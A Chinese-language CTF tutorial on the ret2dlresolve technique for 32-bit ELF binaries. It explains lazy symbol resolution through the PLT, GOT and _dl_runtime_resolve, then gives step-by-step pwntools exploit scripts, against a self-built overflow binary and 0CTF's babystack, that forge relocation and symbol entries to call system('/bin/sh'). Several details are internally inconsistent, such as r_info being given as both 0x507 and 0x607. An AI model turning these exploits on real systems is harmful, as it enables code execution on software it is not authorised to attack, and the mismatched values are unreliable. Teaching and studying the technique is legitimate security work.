ret2dlresolve

简介

ret2dlresolve 是一种利用程序漏洞(通常是缓冲区溢出)来绕过程序的安全机制并控制程序流程的攻击方式。它利用了动态链接库

(DLL)解析的过程,攻击者通过修改程序的控制流,迫使程序调用恶意的共享库函数。具体来说,攻击者通过构造特定的输入,使得程

序在执行时调用一个由攻击者控制的函数,从而实现远程代码执行。该攻击通常针对未启用安全防护(如地址空间布局随机化 ASLR 或栈

保护)的程序。

前置知识

ELF的动态解析

编译时,例如write,puts,printf等函数在 libc,但是libc 地址未知,程序不能直接 call write,只能:call write@plt,运行时再解析。

GOT 和 PLT 机制

PLT表(函数跳板)

plt里每个函数长这样

1

1
2
3
4
puts@plt:
jmp [puts@got]
push reloc_index
jmp plt0

第一次调用时puts是没有解析完的所以[puts@got]里面没有puts的libc的地址,因此他会继续向下执行。

所以执行流程:

1
2
3
4
5
write@plt

plt0

_dl_runtime_resolve

解析后:

1
write@got = libc_write

以后再调用:

1
write@plt → jmp write@got → libc_write

GOT表

第一次调用前:

1
write@got = plt0

第一次解析后:

1
write@got = libc_write

真正负责解析的函数_dl_runtime_resolve

在之前我提到了一个plt0

1
2
3
plt0:
push link_map
jmp _dl_runtime_resolve

替换掉的话执行流就变成了这样

1
2
3
push link_map
push reloc_index
jmp _dl_runtime_resolve

所以进入 _dl_runtime_resolve时栈的情况是这样的:

1
2
3
return addr (返回write@plt下一条)   //低地址
reloc_index
link_map //高地址

resolver第一件事:拿 reloc_index

伪代码:

1
reloc = JMPREL + reloc_index

JMPREL:.rel.plt 表地址。

.rel.plt 表,每个表项8字节:

1
2
3
4
5
Elf32_Rel
{
r_offset
r_info
}

所以:

1
rel = rel_plt + reloc_index

现在 resolver 得到:rel 指向某个重定位项。

取 r_offset 和 r_info

1
2
r_offset = rel->r_offset
r_info = rel->r_info

含义:

字段 作用
r_offset 解析后写入的地址(GOT)
r_info 决定解析哪个符号

检查 r_info 类型

resolver做校验:

1
type = r_info & 0xff

必须:type == 7 (R_386_JUMP_SLOT) 否则:直接崩

通过 r_info 找 dynsym

核心公式:

1
2
sym_index = r_info >> 8
sym = dynsym + sym_index * 16

因为:

1
Elf32_Sym结构大小 = 16字节

此时 resolver 认为:sym 是要解析的符号

dynsym结构

1
2
3
4
5
6
7
8
9
Elf32_Sym
{
st_name ← 最关键
st_value
st_size
st_info
st_other
st_shndx
}

resolver接下来只关心:st_name

通过 st_name 找字符串

1
name = strtab + sym->st_name

strtab:.dynstr字符串表起始地址

name = 函数名字符串,例如:”write”,”system”,”read”

查找到函数名,它就会把这个函数的libc的地址写入got表并执行。

1
2
3
4
5
6
7
8
9
10
struct link_map
{
Elf32_Addr l_addr; // 模块加载基址
char *l_name; // so名字
Elf32_Dyn *l_ld; // 动态段
struct link_map *l_next;
struct link_map *l_prev;

Elf32_Addr l_info[]; // ⭐最关键
};

我们只需要关心:l_info[里存什么

1
2
3
4
l_info[DT_STRTAB] → 字符串表地址
l_info[DT_SYMTAB] → 符号表地址
l_info[DT_JMPREL] → 重定位表地址
l_info[DT_PLTGOT] → GOT地址

resolver内部逻辑:

1
2
3
symtab = link_map->l_info[DT_SYMTAB]
strtab = link_map->l_info[DT_STRTAB]
jmprel = link_map->l_info[DT_JMPREL]

这个了解一下就行,感觉只要知道link_map是必不可少的就行。

ret2dlresolve

这个攻击手法,就是通过伪造前置基础介绍的这个流程中的一些信息,是的原本要执行puts,write等函数时,会执行到system。

通过具体的例子来一步一步详细讲解是怎么利用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
read(0, buf, 256);
}
int main()
{
char buf[100] = "ret2dlresolve\n";
write(1, buf, strlen(buf));
vuln();
return 0;
}//gcc reslove.c -m32 -fno-stack-protector -no-pie -O0 -o resolve

伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char s[112]; // [esp+0h] [ebp-7Ch] BYREF
int *p_argc; // [esp+70h] [ebp-Ch]

p_argc = &argc;
strcpy(s, "ret2dlresolve\n");
memset(&s[15], 0, 85);
v3 = strlen(s);
write(1, s, v3);
vuln();
return 0;
}

ssize_t vuln()
{
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

return read(0, buf, 0x100u);
}

第一步

我们先解析wirte函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
► 0x80490b0  <write@plt>                endbr32
0x80490b4 <write@plt+4> jmp dword ptr [0x804c018] <0x8049070>

0x8049070 endbr32
0x8049074 push 0x18
0x8049079 jmp 0x8049030 <0x8049030>

0x8049030 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804c004>
0x8049036 jmp dword ptr [0x804c008] <_dl_runtime_resolve>

0xf7fd8ff0 <_dl_runtime_resolve> endbr32
0xf7fd8ff4 <_dl_runtime_resolve+4> push eax
0xf7fd8ff5 <_dl_runtime_resolve+5> push ecx
0xf7fd8ff6 <_dl_runtime_resolve+6> push edx

pwndbg一下可以看到write的index_offset是0x18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
elf = ELF('./reslove')
#context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08049301 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x08049303
leave_ret = 0x08049145 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804c024 # readelf -S bof | grep ".bss"
bss_stage = bss_addr + stack_size

r = process('./reslove')

r.recvuntil('ret2dlresolve\n')
payload = flat('A' * offset #栈迁移
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(bss_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(bss_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt bof
index_offset = 0x18# write's index

payload2 = flat('AAAA'
, p32(plt_0) # push link_map;jmp dl_runtime_resolve
, index_offset # 这里对应的就是 push 18h
, 'aaaa' #覆盖调用函数的返回地址
, p32(1) #掉用函数的三个参数
, p32(bss_stage + 80)
, p32(len(cmd))
, 'A' * 52
, cmd + '\x00' #bss_stage + 80
, 'A' * 12)

r.sendline(payload2)
r.interactive()

第二步

下一步,我们通过控制 reloc_arg 的数值,使动态链接器在解析重定位时访问到位于 可控内存(bss 段) 的伪造重定位表项。随后在 bss 段中手动构造一个假的 Elf32_Rel 结构(即伪造 .rel.plt 中某个函数如 write 的重定位项),从而可以控制其中的 r_info 字段,使动态解析流程按照我们伪造的符号信息进行解析并执行,达到任意函数调用的目的。

1
2
3
4
typedef struct{
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
}Elf32_Rel;
1
2
3
4
// 原本是
reloc_arg + rel_plt = rel_plt->write
// 伪造成
fake_arg + rel_plt = fake_write
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
elf = ELF('./reslove')
#context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08049301 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x08049303
leave_ret = 0x08049145 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804c024 # readelf -S bof | grep ".bss"
bss_stage = bss_addr + stack_size

r = process('./reslove')

r.recvuntil('ret2dlresolve\n')
payload = flat('A' * offset #栈迁移
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(bss_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(bss_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt bof
rel_plt = 0x8048348 # objdump -s -j .rel.plt bof
fake_write_addr = bss_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
r_info = 0x507 # 对应wirte,由 readelf -r bof 查询
fake_write = flat(p32(r_offset), p32(r_info)) # 伪造的rel_write

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, 'aaaa'
, p32(1)
, p32(bss_stage + 80)
, p32(len(cmd))
, fake_write #bss_stage + 28
, 'A' * 44
, cmd + '\x00'
, 'A' * 12)

r.sendline(payload2)
r.interactive()

第三步

上一步中我们已近伪造好reloc,这一步我们只要把reloc中的r_info控制,使sym落在可控地址内,从而伪造sym,从而可以控制它的

st_name(偏移)

1
2
3
4
   // 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);

.dynsym节包含了动态链接符号表。ELF32_Sym[num]中的num对应着**ELF_R_SYM(Elf32_Rel->r_info)**。根据定义

1
ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8

sym的结构体如下(大小为0x10)

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
}Elf32_Sym;

write的索引值为ELF32_R_SYM(0x507) = 0x607 >> 8 = 5。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) =

7, 对应着R_386_JUMP_SLOT。

ida中的symtab可以看到第五个索引是write,从0开始算。

1
2
3
4
5
6
7
8
9
10
11
LOAD:08048248 ; ELF Symbol Table
LOAD:08048248 Elf32_Sym <0>
LOAD:08048258 Elf32_Sym <offset aRead - offset unk_80482B8, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048268 Elf32_Sym <offset aGmonStart - offset unk_80482B8, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048278 Elf32_Sym <offset aStrlen - offset unk_80482B8, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048288 Elf32_Sym <offset aLibcStartMain - offset unk_80482B8, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048288 0>
LOAD:08048298 Elf32_Sym <offset aWrite - offset unk_80482B8, 0, 0, 12h, 0, 0> ; "write"
LOAD:080482A8 Elf32_Sym <offset aIoStdinUsed - offset unk_80482B8, \ ; "_IO_stdin_used"
LOAD:080482A8 offset _IO_stdin_used, 4, 11h, 0, 11h>
LOAD:080482B8 ; ELF String Table
1
2
3
4
5
6
7
8
9
10
11
12
13
LOAD:080482B8 ; ELF String Table
LOAD:080482B8 unk_80482B8 db 0 ; DATA XREF: LOAD:08048258↑o
LOAD:080482B8 ; LOAD:08048268↑o ...
LOAD:080482B9 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:08048320↓o
LOAD:080482C3 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:080482A8↑o
LOAD:080482D2 aStrlen db 'strlen',0 ; DATA XREF: LOAD:08048278↑o
LOAD:080482D9 aRead db 'read',0 ; DATA XREF: LOAD:08048258↑o
LOAD:080482DE aLibcStartMain db '__libc_start_main',0
LOAD:080482DE ; DATA XREF: LOAD:08048288↑o
LOAD:080482F0 aWrite db 'write',0 ; DATA XREF: LOAD:08048298↑o
LOAD:080482F6 aGlibc20 db 'GLIBC_2.0',0 ; DATA XREF: LOAD:08048330↓o
LOAD:08048300 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:08048268↑o
LOAD:0804830F align 10h

payload中0x38的由来: st_name = write_strtab - strtab = 0x080482F0 - 0x80482B8 = 0x38

1
2
3
4
原本:
sym[num],num = (write_sym - dynsym) / 16 = 6
伪造后:
num = (fake_write_sym - dynsym) / 16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
elf = ELF('./reslove')
#context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08049301 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x08049303
leave_ret = 0x08049145 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804c024 # readelf -S bof | grep ".bss"
bss_stage = bss_addr + stack_size

r = process('./reslove')

r.recvuntil('ret2dlresolve\n')
payload = flat(b'A' * offset #栈迁移
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(bss_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(bss_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = b"/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt bof
dynsym = 0x08048248 # readelf -S bof
rel_plt = 0x8048348 # objdump -s -j .rel.plt bof
fake_write_addr = bss_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']


align = 0x10 - ((bss_stage + 36 - dynsym) % 16)
fake_sym_addr = bss_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_sym = flat(p32(0x38),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到

payload2 = flat(b'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(bss_stage + 80)
, p32(len(cmd))
, fake_write # bss_stage + 28
, b'A' * align # 用于对齐的填充
, fake_sym # bss_stage + 36 + align
)
payload2 += flat(b'A' * (80-len(payload2)) , cmd + b'\x00')
payload2 += flat(b'A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()

第四步

在上一步我们已经可以控制st_name了,这一步我们就要控制st_name了

1
2
3
4
原本:
st_name = write_strtab - strtab(dynstr)
伪造后:
fake_name = fake_write_str_addr - strtab(dynstr)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
elf = ELF('./reslove')
#context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08049301 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x08049303
leave_ret = 0x08049145 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804c024 # readelf -S bof | grep ".bss"
bss_stage = bss_addr + stack_size

r = process('./reslove')

r.recvuntil('ret2dlresolve\n')
payload = flat(b'A' * offset #栈迁移
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(bss_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(bss_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = b"/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt bof
dynstr = 0x080482b8 #readelf -S bof
dynsym = 0x08048248 # readelf -S bof
rel_plt = 0x8048348 # objdump -s -j .rel.plt bof
fake_write_addr = bss_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']


align = 0x10 - ((bss_stage + 36 - dynsym) % 16)
fake_sym_addr = bss_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = bss_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - dynstr
fake_sym = flat(p32(0x38),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到
fake_write_str = 'write\x00'

payload2 = flat(b'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(bss_stage + 80)
, p32(len(cmd))
, fake_write # bss_stage + 28
, b'A' * align # 用于对齐的填充
, fake_sym # bss_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat(b'A' * (80-len(payload2)) , cmd + b'\x00')
payload2 += flat(b'A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()

第五步

把字符串换成system就行了,把write的参数换成system的参数就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
elf = ELF('./reslove')
#context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08049301 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x08049303
leave_ret = 0x08049145 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804c024 # readelf -S bof | grep ".bss"
bss_stage = bss_addr + stack_size

r = process('./reslove')

r.recvuntil(b'ret2dlresolve\n')
payload = flat(b'A' * offset #栈迁移
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(bss_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(bss_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = b"/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt bof
dynstr = 0x080482b8 #readelf -S bof
dynsym = 0x08048248 # readelf -S bof
rel_plt = 0x8048348 # objdump -s -j .rel.plt bof
fake_write_addr = bss_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']


align = 0x10 - ((bss_stage + 36 - dynsym) % 16)
fake_sym_addr = bss_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = bss_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - dynstr
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到
fake_write_str = b'system\x00'

payload2 = flat(b'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret) #调用函数的返回地址
, p32(bss_stage + 80) #system的参数储存地址
, p32(bss_stage + 80)
, p32(len(cmd))
, fake_write # bss_stage + 28
, b'A' * align # 用于对齐的填充
, fake_sym # bss_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat(b'A' * (80-len(payload2)) , cmd + b'\x00')
payload2 += flat(b'A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()

在用0CTF的babystack来试一下

伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main()
{
alarm(0xAu);
sub_804843B();
return 0;
}

ssize_t sub_804843B()
{
char buf[40]; // [esp+0h] [ebp-28h] BYREF

return read(0, buf, 0x40u);
}

由于溢出长度不够,我们还要利用一下栈迁移。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.arch='i386'

p=process('./babystack')

read_plt=0x8048300
read_got=0x804A00C
bss_addr=0x804A000 # readelf -S babystack | grep ".bss"
pop_ebp_ret=0x080484eb #ROPgadget --binary babystack --only "pop|ret"
leave_ret=0x080483a8 # ROPgadget --binary babystack --only "leave|ret"
bss_stage=bss_addr+0x800

payload = b'a'*0x28
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)#read的三个参数
payload += p32(bss_stage)
payload += p32(100)
p.send(payload)


cmd = b"/bin/sh"
plt_0=0x080482f0 #objdump -d -j .plt bof
rel_plt = 0x80482b0
dynsym = 0x80481cc
dynstr = 0x804822c
fake_read_addr = bss_stage + 28
fake_arg = fake_read_addr - rel_plt
r_offset = 0x804A00C#elf.got['read']

align = 0x10 - ((bss_stage + 36 - dynsym) % 16)
fake_sym_addr = bss_stage + 36 + align
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7)
fake_read_rel = p32(r_offset)+p32(r_info)
fake_read_str_addr = bss_stage + 36 + align + 0x10
fake_name = fake_read_str_addr - dynstr
fake_sym = p32(fake_name) + p32(0) + p32(0) + p32(0x12)
fake_read_str = b'system\x00'

payload2 = b'AAAA'
payload2+=p32(plt_0)
payload2+=p32(fake_arg)
payload2+=b'aaaa' #覆盖调用函数的返回地址
payload2+=p32(bss_stage + 80) #system的参数所在地址
payload2+=b'aaaa'
payload2+=b'aaaa'
payload2+=fake_read_rel # bss_stage + 28
payload2+=b'A' * align # 用于对齐的填充
payload2+=fake_sym # bss_stage + 36 + align
payload2+=fake_read_str # 伪造出的字符串
payload2 += flat(b'A' * (80-len(payload2)) , cmd + b'\x00')
payload2 += flat(b'A' * (100-len(payload2)))

p.sendline(payload2)
p.interactive()

参考文章

从0-1详解剖析ret2dlresolve-先知社区

新手向]ret2dl-resolve详解 - 知乎

ret2dl_resolve - 狒猩橙 - 博客园

ret2dlresolve超详细教程(x86&x64)-CSDN博客